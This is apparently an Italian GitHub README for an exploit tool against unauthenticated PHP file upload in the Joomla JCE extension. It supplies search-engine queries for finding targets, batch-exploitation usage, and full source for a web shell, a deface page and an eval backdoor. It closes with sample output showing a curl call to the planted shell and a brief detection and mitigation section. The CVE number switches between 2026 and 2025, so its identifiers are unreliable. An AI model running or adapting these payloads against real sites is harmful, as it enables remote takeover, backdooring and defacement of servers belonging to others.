CVE-2026-48907 - Joomla! JCE RCE non autenticato

Estensione JCE di Joomla! < 2.9.99.5 - Caricamento arbitrario di file PHP e esecuzione di codice remoto non autenticato

🔎 Ricerche per motori di ricerca

Shodan

http.component:"Joomla"

FOFA

app="Joomla"

📋 Panoramica

Questo repository contiene un proof-of-concept (PoC) di exploit per CVE-2026-48907, una vulnerabilità critica nell'estensione JCE (Joomla Content Editor) di Joomla! nelle versioni precedenti alla 2.9.99.5. La vulnerabilità consente a attaccanti non autenticati di caricare file PHP arbitrari tramite la funzionalità di importazione dei profili JCE, portando a Esecuzione di Codice Remoto (RCE).

⚠️ Disclaimer

Questo strumento è solo per scopi educativi e test autorizzati.

Utilizzalo solo su sistemi di tua proprietà o per i quali hai esplicito permesso di test

L'autore non è responsabile per qualsiasi uso improprio o attività illegali

Ottieni sempre la dovuta autorizzazione prima di eseguire test

🔍 Dettagli della vulnerabilità

Come funziona

Estrazione del token CSRF: L'exploit estrae prima il token CSRF dalla homepage del target
Abuso dell'importazione del profilo: Sfrutta la funzionalità di importazione dei profili JCE (index.php?option=com_jce&task=profiles.import)
Caricamento file PHP: Carica un file PHP malevolo camuffato da file XML di profilo
Esecuzione del codice: Il file PHP caricato viene posizionato nella directory /tmp/ e può essere eseguito tramite accesso diretto

🚀 Funzionalità

✅ Carica qualsiasi file PHP: Carica shell PHP personalizzate, backdoor o pagine di defacement (basate su PHP)
✅ Elaborazione batch: Scansiona e sfrutta più target da un file
✅ Rilevamento automatico del token CSRF: Estrae automaticamente i token CSRF
✅ Modalità verbose: Output dettagliato per debug
✅ Esportazione risultati: Salva gli URL di upload riusciti in un file

📦 Installazione

# Clona il repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907

# Installa le dipendenze richieste
pip3 install requests urllib3

Requisiti

Python 3.6 o superiore
Libreria requests
Libreria urllib3

🎯 Utilizzo

Sintassi di base

python3 CVE-2025-48907.py -u <URL_TARGET> -F <FILE_PHP_DA_CARICARE>

Esempi

Carica una Web Shell PHP

python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php

Carica una Pagina di Defacement PHP

python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php

Carica una Backdoor PHP

python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php

Sfruttamento batch con file di target

python3 CVE-2025-48907.py -f targets.txt -F payload.php

Con output verbose e salvataggio risultati

python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt

Argomenti della riga di comando

* È necessario fornire -u o -f

Formato del file dei target

Crea un file targets.txt con un URL per riga:

http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# I commenti vengono ignorati
https://example-joomla.com

🔧 Creazione di Payload PHP

Tutti i payload devono essere file PHP poiché l'exploit carica codice PHP che verrà eseguito sul server.

Web Shell PHP

Crea shell.php:

<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
} else {
    echo "Usage: ?cmd=command";
}
?>

Pagina di Defacement PHP

Crea deface.php:

<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
    <title>Hacked by 0xgh057r3c0n</title>
    <style>
        body {
            background: #000;
            color: #0f0;
            font-family: "Courier New", monospace;
            text-align: center;
            padding: 50px;
        }
        h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
        .ascii-art { white-space: pre; font-size: 12px; }
    </style>
</head>
<body>
    <h1>HACKED BY 0xgh057r3c0n</h1>
    <div class="ascii-art">
    ██╗  ██╗ █████╗  ██████╗██╗  ██╗███████╗██████╗ 
    ██║  ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
    ███████║███████║██║     █████╔╝ █████╗  ██║  ██║
    ██╔══██║██╔══██║██║     ██╔═██╗ ██╔══╝  ██║  ██║
    ██║  ██║██║  ██║╚██████╗██║  ██╗███████╗██████╔╝
    ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝╚═════╝ 
    </div>
    <p>Security is not a product, it\'s a process.</p>
    <p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
    <p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>

Backdoor PHP (Minimale)

Crea backdoor.php:

<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>

📊 Esempio di output

_____________   _______________         _______________   ________  ________            _____   ______  ________________________ 
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \/  _____/           /  |  | /  __  \/   __   \   _  \______  \
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/   __  \   ______  /   |  |_>      <\____    /  /_\  \  /    /
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  |__\  \ /_____/ /    ^   /   --   \  /    /\  \_/   \/    / 
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \_____  /         \____   |\______  / /____/  \_____  /____/  
        \/                  \/                  \/     \/         \/     \/               |__|       \/                \/

Estensione JCE di Joomla! < 2.9.99.5 RCE non autenticato
Autore : 0xgh057r3c0n (Caricamento file PHP)

[*] Caricati 3 target

[*] Target 1/3
[*] ==================================================
[+] Target: http://target-joomla.com
[+] Recupero token CSRF...
[+] Token CSRF: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Caricamento file PHP: cve-2026-48907-1234.xml.php
[+] Profilo importato con successo!
[+] Test del file PHP caricato...

============================================================
[!!!!!] FILE PHP CARICATO CON SUCCESSO!
[!!!!!] IL SERVER È VULNERABILE a CVE-2025-48907!
============================================================

[+] Visualizza il file PHP caricato: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Accesso rapido:
    curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"

🛡️ Rilevamento e Mitigazione

Come rilevare

Controlla la presenza di file PHP sospetti nella directory /tmp/
Monitora l'attività di importazione dei profili JCE nei log
Cerca richieste inaspettate a index.php?option=com_jce&task=profiles.import
Controlla la presenza di file con estensione .xml.php in /tmp/
Monitora l'esecuzione PHP anomala dalla directory /tmp/

Passi di mitigazione

Aggiorna l'estensione JCE:
- Effettua l'upgrade alla versione 2.9.99.5 o superiore
- Scarica da: Sito ufficiale JCE
Soluzioni temporanee:
- Disabilita l'estensione JCE se non necessaria
- Implementa regole di Web Application Firewall (WAF)
- Limita l'esecuzione PHP nella directory /tmp/
- Disabilita allow_url_fopen se non richiesto
Azioni post-compromissione:
- Rimuovi i file PHP caricati da /tmp/
- Controlla il sistema per backdoor
- Reimposta tutte le credenziali (amministratore Joomla, FTP, hosting)
- Revisiona i log di sistema per accessi non autorizzati
- Controlla altri file potenzialmente compromessi

📝 Licenza

Questo progetto è concesso in licenza con la MIT License - consulta il file LICENSE per i dettagli.

🤝 Contributi

I contributi sono benvenuti! Sentiti libero di inviare una Pull Request.

Fai un fork del repository
Crea il tuo branch per la funzionalità (git checkout -b feature/AmazingFeature)
Esegui il commit delle tue modifiche (git commit -m 'Aggiungi una AmazingFeature')
Fai push al branch (git push origin feature/AmazingFeature)
Apri una Pull Request

⭐ Cronologia Stelle

Se trovi utile questo strumento, considera di dargli una stella ⭐ su GitHub!

📞 Contatti e Supporto

Autore: 0xgh057r3c0n
GitHub: https://github.com/0xgh057r3c0n/CVE-2025-48907
Problemi: Segnala un bug

🔗 Riferimenti

_{Realizzato con ❤️ da 0xgh057r3c0n}

ID CVE	CVE-2026-48907
Prodotto	Estensione JCE di Joomla!
Versioni Affette	< 2.9.99.5
Tipo di Vulnerabilità	Caricamento di file PHP non autenticato → RCE
Punteggio CVSS	9.8 (Critico)
Vettore d'Attacco	Rete
Autenticazione	Nessuna richiesta
Impatto	Compromissione completa del sistema

`-u, --url`	Sì*	Singolo URL target (es. http://target.com)
`-f, --file`	Sì*	File contenente l'elenco degli URL target (uno per riga)
`-F, --upload-file`	Sì	File PHP da caricare (shell, backdoor, pagina di defacement)
`-v, --verbose`	No	Abilita output verbose per debug
`-o, --output`	No	Salva gli URL di upload riusciti in un file

CVE-2026-48907

Più Popolari